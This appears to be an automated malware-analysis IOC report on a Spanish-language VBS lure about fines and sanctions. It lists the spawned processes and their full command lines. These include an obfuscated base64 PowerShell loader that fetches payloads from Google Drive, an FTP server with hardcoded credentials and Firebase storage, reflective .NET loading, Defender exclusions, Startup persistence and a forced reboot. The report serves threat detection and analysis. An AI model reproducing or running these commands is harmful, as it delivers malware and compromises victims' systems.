IOC Report
Oficio notificacion multas y sanciones.vbs

Oficio notificacion multas y sanciones.vbs

Unicode text, UTF-16, little-endian text, with CRLF line terminators

initial sample

C:\Users\user\AppData\Local\Microsoft\LocalLow\System Update\yoexw.ps1

Unicode text, UTF-16, little-endian text, with very long lines (32656)

dropped

C:\Windows\System32\wscript.exe

C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Oficio notificacion multas y sanciones.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$qKKzc = 'OwB9???Ds???KQ???g???Ck???I??????n???GU???dQBy???HQ???Jw???g???Cw???I???BY???F??????VQB1???Gg???J??????g???Cw???I??????n???Gg???d???B0???H??????cw???6???C8???LwBm???Gk???cgBl???GI???YQBz???GU???cwB0???G8???cgBh???Gc???ZQ???u???Gc???bwBv???Gc???b???Bl???GE???c???Bp???HM???LgBj???G8???bQ???v???HY???M??????v???GI???LwBk???GU???cwBj???GE???cgBn???GE???cw???t???GQ???Yw???0???GQ???Ng???u???GE???c???Bw???HM???c???Bv???HQ???LgBj???G8???bQ???v???G8???LwBl???G4???dgBp???G8???cw???t???G4???dQBl???HY???bwBz???C4???d???B4???HQ???PwBh???Gw???d??????9???G0???ZQBk???Gk???YQ???m???HQ???bwBr???GU???bg???9???GM???ZQ???2???Dk???M???Bh???DY???M??????t???Dc???O???Bl???GI???LQ???0???D??????MQBi???C0???YgBm???GM???Ng???t???DE???Z???Bj???Dg???Mg???1???GU???MQ???5???DQ???Yg???y???Cc???I??????o???C??????XQBd???Fs???d???Bj???GU???agBi???G8???Ww???g???Cw???I???Bs???Gw???dQBu???CQ???I??????o???GU???awBv???HY???bgBJ???C4???KQ???g???Cc???SQBW???EY???cgBw???Cc???I??????o???GQ???bwBo???HQ???ZQBN???HQ???ZQBH???C4???KQ???n???DE???cwBz???GE???b???BD???C4???MwB5???HI???YQBy???GI???aQBM???HM???cwBh???Gw???Qw???n???Cg???ZQBw???Hk???V???B0???GU???Rw???u???Ck???I???Ba???GM???QgBj???GE???J??????g???Cg???Z???Bh???G8???T??????u???G4???aQBh???G0???bwBE???HQ???bgBl???HI???cgB1???EM???Og???6???F0???bgBp???GE???bQBv???EQ???c???Bw???EE???LgBt???GU???d???Bz???Hk???UwBb???Ds???KQ???g???Ck???I??????n???EE???Jw???g???Cw???I??????n???JMhOgCTISc???I??????o???GU???YwBh???Gw???c???Bl???FI???LgBn???FM???egBD???EI???b??????k???C??????K???Bn???G4???aQBy???HQ???Uw???0???DY???ZQBz???GE???QgBt???G8???cgBG???Do???OgBd???HQ???cgBl???HY???bgBv???EM???LgBt???GU???d???Bz???Hk???UwBb???C??????PQ???g???Fo???YwBC???GM???YQ???k???C??????XQBd???Fs???ZQB0???Hk???QgBb???Ds???Jw???l???Ek???a???Bx???FI???W??????l???Cc???I??????9???C??????W???BQ???FU???dQBo???CQ???Ow???p???C??????ZwBT???Ho???QwBC???Gw???J??????g???Cg???ZwBu???Gk???cgB0???FM???Z???Bh???G8???b???Bu???Hc???bwBE???C4???egB0???Hg???a??????k???C??????PQ???g???Gc???UwB6???EM???QgBs???CQ???Ow???4???EY???V???BV???Do???OgBd???Gc???bgBp???GQ???bwBj???G4???RQ???u???HQ???e???Bl???FQ???LgBt???GU???d???Bz???Hk???UwBb???C??????PQ???g???Gc???bgBp???GQ???bwBj???G4???RQ???u???Ho???d???B4???Gg???J??????7???Ck???d???Bu???GU???aQBs???EM???YgBl???Fc???LgB0???GU???Tg???g???HQ???YwBl???Go???YgBP???C0???dwBl???E4???K??????g???D0???I???B6???HQ???e???Bo???CQ???Ow???p???Cg???ZQBz???G8???c???Bz???Gk???Z??????u???Ho???d???B4???Gg???J??????7???Ck???I??????n???HQ???e???B0???C4???MQ???w???Ew???T???BE???C8???MQ???w???C8???cgBl???HQ???c???B5???HI???YwBw???FU???LwBy???GI???LgBt???G8???Yw???u???HQ???YQBy???GI???dgBr???GM???cwBl???GQ???LgBw???HQ???ZgB??????DE???d???Bh???HI???YgB2???Gs???YwBz???GU???Z??????v???C8???OgBw???HQ???Zg???n???C??????K???Bn???G4???aQBy???HQ???UwBk???GE???bwBs???G4???dwBv???EQ???LgB6???HQ???e???Bo???CQ???I??????9???C??????ZwBT???Ho???QwBC???Gw???J??????7???Ck???JwB??????E??????c???BK???Dg???Nw???1???DE???MgBv???HI???c???By???GU???c???Bv???Gw???ZQB2???GU???Z??????n???Cw???KQ???p???Dk???N??????s???DY???MQ???x???Cw???Nw???5???Cw???N??????x???DE???L??????4???Dk???L??????4???DE???MQ???s???Dc???M??????x???Cw???OQ???5???Cw???NQ???x???DE???L??????x???D??????MQ???s???D??????M??????x???Cg???XQBd???Fs???cgBh???Gg???YwBb???C??????bgBp???G8???ag???t???Cg???K???Bs???GE???aQB0???G4???ZQBk???GU???cgBD???Gs???cgBv???Hc???d???Bl???E4???LgB0???GU???Tg???u???G0???ZQB0???HM???eQBT???C??????d???Bj???GU???agBi???G8???LQB3???GU???bg???g???D0???I???Bz???Gw???YQBp???HQ???bgBl???GQ???ZQBy???EM???LgB6???HQ???e???Bo???CQ???Ow???4???EY???V???BV???Do???OgBd???Gc???bgBp???GQ???bwBj???G4???RQ???u???HQ???e???Bl???FQ???LgBt???GU???d???Bz???Hk???UwBb???C??????PQ???g???Gc???bgBp???GQ???bwBj???G4???RQ???u???Ho???d???B4???Gg???J??????7???Ck???d???Bu???GU???aQBs???EM???YgBl???Fc???LgB0???GU???Tg???g???HQ???YwBl???Go???YgBP???C0???dwBl???E4???K??????g???D0???I???B6???HQ???e???Bo???CQ???OwBn???FM???egBD???EI???b??????k???Ds???Mg???x???HM???b???BU???Do???OgBd???GU???c???B5???FQ???b???Bv???GM???bwB0???G8???cgBQ???Hk???d???Bp???HI???dQBj???GU???Uw???u???HQ???ZQBO???C4???bQBl???HQ???cwB5???FM???Ww???g???D0???I???Bs???G8???YwBv???HQ???bwBy???F??????eQB0???Gk???cgB1???GM???ZQBT???Do???OgBd???HI???ZQBn???GE???bgBh???E0???d???Bu???Gk???bwBQ???GU???YwBp???HY???cgBl???FM???LgB0???GU???Tg???u???G0???ZQB0???HM???eQBT???Fs???OwB9???GU???dQBy???HQ???J???B7???C??????PQ???g???Gs???YwBh???GI???b???Bs???GE???QwBu???G8???aQB0???GE???Z???Bp???Gw???YQBW???GU???d???Bh???GM???aQBm???Gk???d???By???GU???QwBy???GU???dgBy???GU???Uw???6???Do???XQBy???GU???ZwBh???G4???YQBN???HQ???bgBp???G8???U???Bl???GM???aQB2???HI???ZQBT???C4???d???Bl???E4???LgBt???GU???d???Bz???Hk???UwBb???Hs???I???Bl???HM???b???Bl???H0???I???Bm???C8???I??????w???C??????d??????v???C??????cg???v???C??????ZQB4???GU???LgBu???Hc???bwBk???HQ???dQBo???HM???I??????7???Cc???M??????4???DE???I???Bw???GU???ZQBs???HM???Jw???g???GQ???bgBh???G0???bQBv???GM???LQ???g???GU???e???Bl???C4???b???Bs???GU???a???Bz???HI???ZQB3???G8???c??????7???C??????ZQBj???HI???bwBm???C0???I??????p???C??????JwBw???HU???d???By???GE???d???BT???Fw???cwBt???GE???cgBn???G8???cgBQ???Fw???dQBu???GU???TQ???g???HQ???cgBh???HQ???UwBc???HM???dwBv???GQ???bgBp???Fc???X???B0???GY???bwBz???G8???cgBj???Gk???TQBc???Gc???bgBp???G0???YQBv???FI???X???Bh???HQ???YQBE???H??????c???BB???Fw???Jw???g???Cs???I???Ba???Es???bgBZ???E0???J??????g???Cg???I???Bu???G8???aQB0???GE???bgBp???HQ???cwBl???EQ???LQ???g???Cc???JQBJ???Gg???cQBS???Fg???JQ???n???C??????bQBl???HQ???SQ???t???Hk???c???Bv???EM???I??????7???C??????d???By???GE???d???Bz???GU???cgBv???G4???Lw???g???HQ???ZQBp???HU???cQ???v???C??????RwBj???Fc???aQBS???C??????ZQB4???GU???LgBh???HM???dQB3???C??????ZQB4???GU???LgBs???Gw???ZQBo???HM???cgBl???Hc???bwBw???C??????Ow???p???Cc???dQBz???G0???LgBu???Gk???dwBw???FU???X??????n???C??????Kw???g???E4???SgBU???Hg???R??????k???Cg???I??????9???C??????RwBj???Fc???aQBS???Ds???KQ???g???GU???bQBh???E4???cgBl???HM???VQ???6???Do???XQB0???G4???ZQBt???G4???bwBy???Gk???dgBu???EU???Ww???g???Cs???I??????n???Fw???cwBy???GU???cwBV???Fw???OgBD???Cc???K??????g???D0???I???Ba???Es???bgBZ???E0???J??????7???Ck???JwB1???HM???bQ???u???G4???aQB3???H??????VQBc???Cc???I??????r???C??????TgBK???FQ???e???BE???CQ???I??????s???EI???SwBM???FI???VQ???k???Cg???ZQBs???Gk???RgBk???GE???bwBs???G4???dwBv???EQ???LgBu???Eo???eQBW???Go???J??????7???Dg???RgBU???FU???Og???6???F0???ZwBu???Gk???Z???Bv???GM???bgBF???C4???d???B4???GU???V??????u???G0???ZQB0???HM???eQBT???Fs???I??????9???C??????ZwBu???Gk???Z???Bv???GM???bgBF???C4???bgBK???Hk???VgBq???CQ???Ow???p???HQ???bgBl???Gk???b???BD???GI???ZQBX???C4???d???Bl???E4???I???B0???GM???ZQBq???GI???Tw???t???Hc???ZQBO???Cg???I??????9???C??????bgBK???Hk???VgBq???CQ???OwB9???Ds???I??????p???Cc???d???BP???Ew???YwBf???Es???YQ???z???Fo???ZgBv???Fg???MgBK???Eo???cgBW???Gg???bQBW???Dk???YwBt???Dk???W???Bz???HU???W???Bt???Go???MQBn???DE???Jw???g???Cs???I???Bv???Hg???SwBV???Gc???J??????o???C??????PQ???g???G8???e???BL???FU???Zw???k???Hs???I???Bl???HM???b???Bl???H0???Ow???g???Ck???Jw???y???DQ???dQBY???Eo???V???Bx???GE???bQBn???Hk???TQB0???EY???egBh???Gs???U???BS???DE???cQBf???Ek???dgBH???Gk???W???BO???GQ???cQBh???E4???MQ???n???C??????Kw???g???G8???e???BL???FU???Zw???k???CgAIAA9ACAAbwB4AEsAVQBnACQAewAgACkAIAB1AE4AQwBWAHEAJAAgACgAIABmAGkAOwAgACkAJwA0ADYAJwAoAHMAbgBpAGEAdABuAG8AQwAuAEUAUgBVAFQAQwBFAFQASQBIAEMAUgBBAF8AUgBPAFMAUwBFAEMATwBSAFAAOgB2AG4AZQAkACAAPQAgAHUATgBDAFYAcQAkADsAJwA9AGQAaQAmAGQAYQBvAGwAbgB3AG8AZAA9AHQAcgBvAHAAeABlAD8AYwB1AC8AbQBvAGMALgBlAGwAZwBvAG8AZwAuAGUAdgBpAHIAZAAvAC8AOgBzAHAAdAB0AGgAJwAgAD0AIABvAHgASwBV???GcAJAA7ACkAIAAnAHUAcwBtAC4AbgBpAHcAcABVAFwAJwAgACsAIABOAEoAVAB4AEQAJAAgACgAIABsAGUAZAA7ACkAKABoAHQAYQBQAHAAbQBlAFQAdABlAEcAOgA6AF0AaAB0AGEAUAAuAE8ASQAuAG0AZQB0AHMAeQBTAFsAIAA9ACAATgBKAFQAeABEACQAewAgACkAIABQAGIAbgBFAFoAJAAgACgAIABmAGkAOwAgACkAMgAoAHMAbABhAHUAcQBFAC4AcgBvAGoAYQBNAC4AbgBvAGkAcwByAGUAVgAuAHQAcwBvAGgAJAAgAD0AIABQAGIAbgBFAFoAJAAgADsA';$kahlN = $qKKzc.replace('???' , 'A') ;$vQpeD = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $kahlN ) ); $vQpeD = $vQpeD[-1..-$vQpeD.Length] -join '';$vQpeD = $vQpeD.replace('%XRqhI%','C:\Users\user\Desktop\Oficio notificacion multas y sanciones.vbs');powershell $vQpeD

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $ZEnbP = $host.Version.Major.Equals(2) ;if ( $ZEnbP ) {$DxTJN = [System.IO.Path]::GetTempPath();del ( $DxTJN + '\Upwin.msu' );$gUKxo = 'https://drive.google.com/uc?export=download&id=';$qVCNu = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $qVCNu ) {$gUKxo = ($gUKxo + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$gUKxo = ($gUKxo + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$jVyJn = (New-Object Net.WebClient);$jVyJn.Encoding = [System.Text.Encoding]::UTF8;$jVyJn.DownloadFile($URLKB, $DxTJN + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($DxTJN + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\Oficio notificacion multas y sanciones.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$hxtz = (New-Object Net.WebClient);$hxtz.Encoding = [System.Text.Encoding]::UTF8;$hxtz.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $hxtz.DownloadString( 'ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter/01/DLL01.txt' );$hxtz.dispose();$hxtz = (New-Object Net.WebClient);$hxtz.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $hxtz.DownloadString( $lBCzSg );$huUPX = 'C:\Users\user\Desktop\Oficio notificacion multas y sanciones.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '?:?' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( '2b491e528cd1-6cfb-b104-be87-06a096ec=nekot&aidem=tla?txt.soveun-soivne/o/moc.topsppa.6d4cd-sagracsed/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth' , $huUPX , 'true' ) );};"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell $S = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' ; Add-MpPreference -ExclusionPath $S -force ;

C:\Windows\System32\cmd.exe

cmd.exe /c mkdir "C:\Users\user\AppData\Local\Microsoft\LocalLow\System Update\"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -ExecutionPolicy Bypass -file "C:\Users\user\AppData\Local\Microsoft\LocalLow\System Update\\x2.ps1"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Microsoft\LocalLow\System Update\yoexw.ps1"

C:\Windows\System32\cmd.exe

cmd.exe /c del "C:\Users\user\Desktop\Oficio notificacion multas y sanciones.vbs"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"